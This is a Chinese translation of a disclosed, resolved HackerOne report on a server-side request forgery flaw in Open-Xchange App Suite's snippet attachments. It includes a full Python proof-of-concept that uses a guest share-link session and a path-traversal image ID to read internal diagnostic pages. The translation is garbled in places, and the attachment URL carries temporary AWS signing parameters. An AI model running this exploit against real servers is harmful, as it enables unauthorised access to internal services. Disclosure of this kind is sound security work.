翻译自SSRF-分布式文件的未经检查的代码段ID
状态:已解决(关闭)
漏洞公开:2021年5月1日晚上11:16 +0800
报告于:2020年10月5日上午5:48 +0800
漏洞:服务器端请求伪造(SSRF)
奖金 :$ 1,500
严重程度:高(7〜8.9 )
参加者:朱蒂拉
能见度:公开(完整)
资产 :https://github.com/open-xchange/appsuite-middleware
(源代码)
朱蒂拉 向Open-Xchange官方提交报告
## ManagedFile
`ManagedFiles`基本上只是临时文件,具有用于各种目的的ID。
创建托管文件后,该文件将在本地文件映射中注册,该文件映射只是从String(UUID)到ManagedFile的内部映射,还可以选择在分布式文件映射中注册,该分布式文件映射是从将String(UUID)转换为String(URL)。
当通过ID访问托管文件并且该托管文件不存在于本地映射中时,将检查分布式映射,并从注册的URL下载该文件。
##片段
jax / snippet?action = new 端点允许创建内容片段,通常是邮件签名。请求正文可能如下所示:
```json
{
"type":"signature",
"module":"io.ox/mail",
"displayname":"<name>",
"content":"<content>",
"misc":{
"content-type":"<content_type>",
"imageId":"<image_id>"
}
}
```
`imageId`字段稍后将变得很重要。
有两个代码段服务:
*`MimeSnippetService`,需要`filestore'功能
*`RdbSnippetService`,没有任何要求
来宾用户没有`filestore`功能,因此,将`RdbSnippetService`用于此类功能。会议,这是这里的重要会议。
```java
// com.openexchange.snippet.rdb.RdbSnippetManagement.getSnippet0
Object misc = snippet.getMisc();
final String imageId = SnippetUtils.getImageId(misc);
ManagedFileManagement mfm = Services.getService(ManagedFileManagement.class);
if (Strings.isNotEmpty(imageId) && !mfm.contains(imageId)) {
ManagedFile mf = mfm.createManagedFile(imageId, attachment.getInputStream());
```
但是,RDB仅在`com.openexchange.snippet.rdb.supportsAttachments`配置选项设置为true处理附件。默认情况下,它设置为** false **。
##漏洞
没有检查指定的ID。它可以是任何字符串,而不仅仅是UUID。此ID将是在分散地图中注册的URL的一部分,并且可能导致加载不正确的URL。
在集群设置中,我们可以在一个节点上创建一个恶意代码段,然后立即从另一个节点加载该代码段,该节点仅会在分布式映射中看到它,并从
我们注册的更改的URL加载它。可能是我没有测试。
在单节点设置中,我们必须等待垃圾回收过期的托管文件。清理每2分钟进行一次,文件的生存时间为最后一次* touch *后5分钟。因此,等待不是问题。文件仅从本地地图中删除,并保留在分布式地图中,因此,下次访问它们时,它们将再次直接从包含我们更改过的URL的分布式地图中加载。这就是我的演示漏洞利用所做的。
##摘要
*默认情况下**禁用
`com.openexchange.snippet.rdb.supportsAttachments`。
*但是启用后,可以创建具有任意ID的托管文件,从而导致SSRF。
*并且它可以被匿名来宾用户利用。
## 重现步骤
*启用在配置RDB片段附件并重新启动服务器
```
#/opt/open-xchange/etc/snippets.properties
com.openexchange.snippet.rdb.supportsAttachments =真
```
*运行我的演示利用F1014374,这将URL设置为内部的/ stats / diagnostic?param = version页面,并应产生如下输出:
```html
...
success. different content received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head><title>Diagnostic</title></head>
<body>
<h1>Version</h1><hr/>
7.10.4-Rev9
</body>
</html>
```
附件下载:
https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/V7nyfbBmCrao5jnXmXSyR2EL?response-content-disposition=attachment%3B%20filename%3D%22ox-rdbsnipid.py%22%3B%20filename%2A%3DUTF-8%27%27ox-rdbsnipid.py&response-content-type=text%2Fx-python&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAQGK6FURQ3QFMWDX3%2F20210502%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-Date=20210502T082145Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEEAaCXVzLXdlc3QtMiJHMEUCIHSy7zf6zD%2FOjyNqnJKyV8684YghBTDVlqQtmWX4bupnAiEAt1GFwJBn2u%2FPBYDG1h%2FWM7WuQEkVay4EIwIdMO%2BNEhkqvQMIuf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARABGgwwMTM2MTkyNzQ4NDkiDJUt1bE8xCMxFSRD5SqRA3hcdfSDKM0SwauqkmArCQZEIZqAH%2FyX5C3nfCqOjS%2B1ngBZ8gGVzFZ9UTCGvlY0xObXT1HTba95asHcz%2FaoBN3Sq9CLOGpWjuKrdtPbAc5d18y8SkLTQvrvFHBALRlAHeMEs3p9Q0eLx4kWC77OxBa8bpJlSNdavHriD7Ya%2BBi%2F1sP1%2BFUumlJNRDuiIJBGiKw%2Btw9YqXAXgb%2FrFGYvuHp9SzC2Hxxb%2BzaLWtZJhjqiBm35k0mszmTivH0ftqLVzmVnFSodWdFt1YM%2FXfVkZLVZMxpVj1bZF28%2BntEWBepzqW%2BzKsNrjL9lHRklFoSOjrlS90G4yfIz%2FX2vHDjrqw9YoLarvruclNLE5gUwT99wXA4KeuUbxq3ruuJBHAMkcadidfuqHiM24s0QGVS1SgXFPa7tqDJYdJvgbory2EMVVY8vHgq%2FIUqmjJWskZ0sr8G8a0YpYUMjxRz68Rjrb55JVeV1XUSUUUJ33GPZiMpsLA5rgMUVKVtQTquX%2BK12ozuMZjnNS9MAadtkFzkitLCFMN6quYQGOusBD7wFeUGYURTR5KSTqrIDOrie%2BYMoGcDdMc2TLFc43ucktSIklbZtrwPP1BJ3D3CUdTNyOannWJFAFtFkdtoiXuZxqw%2B4CHxfS9JMOCqJGq%2BZluhxK7XScekemU3KASWzR%2FXy51Nd1ta0y8zqUrdytQjnEUP54Jimopi0l2iUXwXzNvOjI5m%2FTQ%2BgngRGriZVuAcGSl8qZbfYjosYGTJ1SZxaSqbFwIfiNRSIoM%2Fc93qdPN1g2r5k2kv5mMKm1FakbfUVr203%2B2CK%2B3IawcfRyVw5eNTH13XHDCzJSbamH8iMQ94qkIO9OX8Kjg%3D%3D&X-Amz-Signature=1d8bd6a2e107f8a4010fac653628d27c48609f59644a0de31f4cdff85664c5e6
附件内容:
import json
import re
import requests
from datetime import timedelta
from time import time, sleep
from urllib.parse import urljoin
HOST = 'http://192.168.56.101'
USERNAME = 'david'
PASSWORD = 'secret'
IMAGE_ID = '../../stats/diagnostic?param=version&uniq=' + str(time())
IMAGE_DATA = (
b'x89x50x4ex47x0dx0ax1ax0ax00x00x00x0dx49x48x44x52'
b'x00x00x00x04x00x00x00x04x08x06x00x00x00xa9xf1x9e'
b'x7ex00x00x00x04x73x42x49x54x08x08x08x08x7cx08x64'
b'x88x00x00x00x1fx49x44x41x54x08x99x63xf8xcfxc0xf0'
b'xdfxe7x3fxc3x7fx06xb5xffxffxebx19xccxffx33x31xa0'
b'x01xc2x02x00xe3x79x08x28xf8xddxbfx7ax00x00x00x00'
b'x49x45x4ex44xaex42x60x82')
class OX:
def __init__(self, host):
self.sess = requests.Session()
self.host = host
self.sid = None
def login(self, username, password):
self.logout()
params = {
'action': 'login'
}
data = {
'name': username,
'password': password
}
url = urljoin(self.host, '/ajax/login')
resp = self.sess.post(url, params=params, data=data)
try:
self.sid = json.loads(resp.text)['session']
except Exception as e:
print(resp.status_code)
print(resp.text)
raise e
def share_login(self, url):
self.logout()
resp = self.sess.get(url, allow_redirects=False)
location = resp.headers['Location']
self.sid = re.findall(r'&session=(.*?)&', location)[0]
def logout(self):
if not self.sid:
return
params = {
'session': self.sid,
'action': 'logout',
}
url = urljoin(self.host, '/ajax/login')
self.sess.get(url, params=params)
self.sess.cookies.clear()
self.sid = None
def config(self, path=''):
params = {
'session': self.sid
}
url = urljoin(self.host, '/ajax/config/' + path)
resp = self.sess.get(url, params=params)
try:
return json.loads(resp.text)['data']
except Exception as e:
print(resp.status_code)
print(resp.text)
raise e
def capabilities_get(self, capability_id):
params = {
'session': self.sid,
'action': 'get',
'id': capability_id
}
url = urljoin(self.host, '/ajax/capabilities')
resp = self.sess.get(url, params=params)
try:
return json.loads(resp.text)['data']
except:
return None
def snippet_new(self, name, content, content_type, image_id):
params = {
'session': self.sid,
'action': 'new'
}
data = {
'type': 'signature',
'module': 'io.ox/mail',
'displayname': name,
'content': content,
'misc': {
'content-type': content_type,
'imageId': image_id
}
}
url = urljoin(self.host, '/ajax/snippet')
resp = self.sess.put(url, params=params, data=json.dumps(data))
try:
return json.loads(resp.text)['data']
except Exception as e:
print(resp.status_code)
print(resp.text)
raise e
def snippet_delete(self, snippet_id):
params = {
'session': self.sid,
'action': 'delete',
'id': snippet_id
}
url = urljoin(self.host, '/ajax/snippet')
self.sess.put(url, params=params)
def snippet_attach(self, snippet_id, name, content, content_type):
params = {
'session': self.sid,
'action': 'attach',
'id': snippet_id,
'force_json_response': True
}
files = {
'file': (name, content, content_type),
}
url = urljoin(self.host, '/ajax/snippet')
resp = self.sess.post(url, params=params, files=files)
try:
return json.loads(resp.text)['data']
except Exception as e:
print(resp.status_code)
print(resp.text)
raise e
def snippet_get(self, snippet_id):
params = {
'session': self.sid,
'action': 'get',
'id': snippet_id
}
url = urljoin(self.host, '/ajax/snippet')
resp = self.sess.get(url, params=params)
try:
return json.loads(resp.text)['data']
except Exception as e:
print(resp.status_code)
print(resp.text)
raise e
def files_new(self, folder_id, name, content, content_type):
params = {
'session': self.sid,
'action': 'new',
'extendedResponse': True,
'force_json_response': True,
}
files = {
'json': (None, json.dumps({'folder_id': folder_id})),
'file': (name, content, content_type),
}
url = urljoin(self.host, '/ajax/files')
resp = self.sess.post(url, params=params, files=files)
try:
return json.loads(resp.text)['data']['file']
except Exception as e:
print(resp.status_code)
print(resp.text)
raise e
def file_get(self, file_id):
params = {
'session': self.sid,
'action': 'get',
'id': file_id
}
url = urljoin(self.host, '/ajax/file')
resp = self.sess.get(url, params=params)
return resp.content if resp.status_code == 200 else None
def share_get_link(self, folder_id, file_id):
params = {
'session': self.sid,
'action': 'getLink',
}
data = {
'module': 'infostore',
'folder': folder_id,
'item': file_id,
}
url = urljoin(self.host, '/ajax/share/management')
resp = self.sess.put(url, params=params, data=json.dumps(data))
try:
return json.loads(resp.text)['data']['url']
except Exception as e:
print(resp.status_code)
print(resp.text)
raise e
def main():
snippet_id = None
ox = OX(HOST)
try:
print('login')
ox.login(USERNAME, PASSWORD)
if ox.capabilities_get('filestore') is not None:
print('drop the filestore capability')
folder_id = ox.config('folder/infostore')
print('upload a file')
file = ox.files_new(folder_id, 'image.png', IMAGE_DATA, 'image/png')
print('share the file')
share_link = ox.share_get_link(folder_id, file['id'])
print('share login')
ox.share_login(share_link)
if ox.capabilities_get('filestore') is not None:
print('failed to drop the filestore capability')
return
print('success. dropped the filestore capability')
print('create a snippet')
snippet_id = ox.snippet_new('mysnip', 'hello', 'text/plain', IMAGE_ID)
print('create an attachment')
snippet_id = ox.snippet_attach(snippet_id, 'image.png', IMAGE_DATA, 'image/png')
print('load the snippet')
ox.snippet_get(snippet_id)
print('check the managed file')
attachment_data = ox.file_get(IMAGE_ID)
if attachment_data is None:
print('failure. managed file was not created')
print('is com.openexchange.snippet.rdb.supportsAttachments set to true?')
return
print('success. managed file created')
print('wait for local delete...')
start_time = time()
wait_period = 7 * 60 + 30
while time() < start_time + wait_period:
sleep(1)
elapsed = int(time() - start_time)
print('%s / %s' % (timedelta(seconds=elapsed), timedelta(seconds=wait_period)), end='r')
print('')
print('check the managed file')
data = ox.file_get(IMAGE_ID)
if data != attachment_data:
print('success. different content received')
try:
data = data.decode()
except:
pass
print(data)
else:
print('failure. the file has not changed')
finally:
if snippet_id:
ox.snippet_delete(snippet_id)
ox.logout()
if __name__ == '__main__':
main()
-
Open-Xchange员工 发表评论。
感谢您的提交!我目前正在接受审核,将很快回复您的报告。
-
Open-Xchange员工 发表评论。
很不错的发现!
-
Open-Xchange员工 已将漏洞严重性更新为“高” 。
-
Open-Xchange员工 向朱蒂拉奖励了1,500美元的赏金 。
原文翻译自:https://hackerone.com/reports/997926
本文始发于微信公众号(Ots安全):【漏洞赏金】Open-Xchange SSRF-分布式文件漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论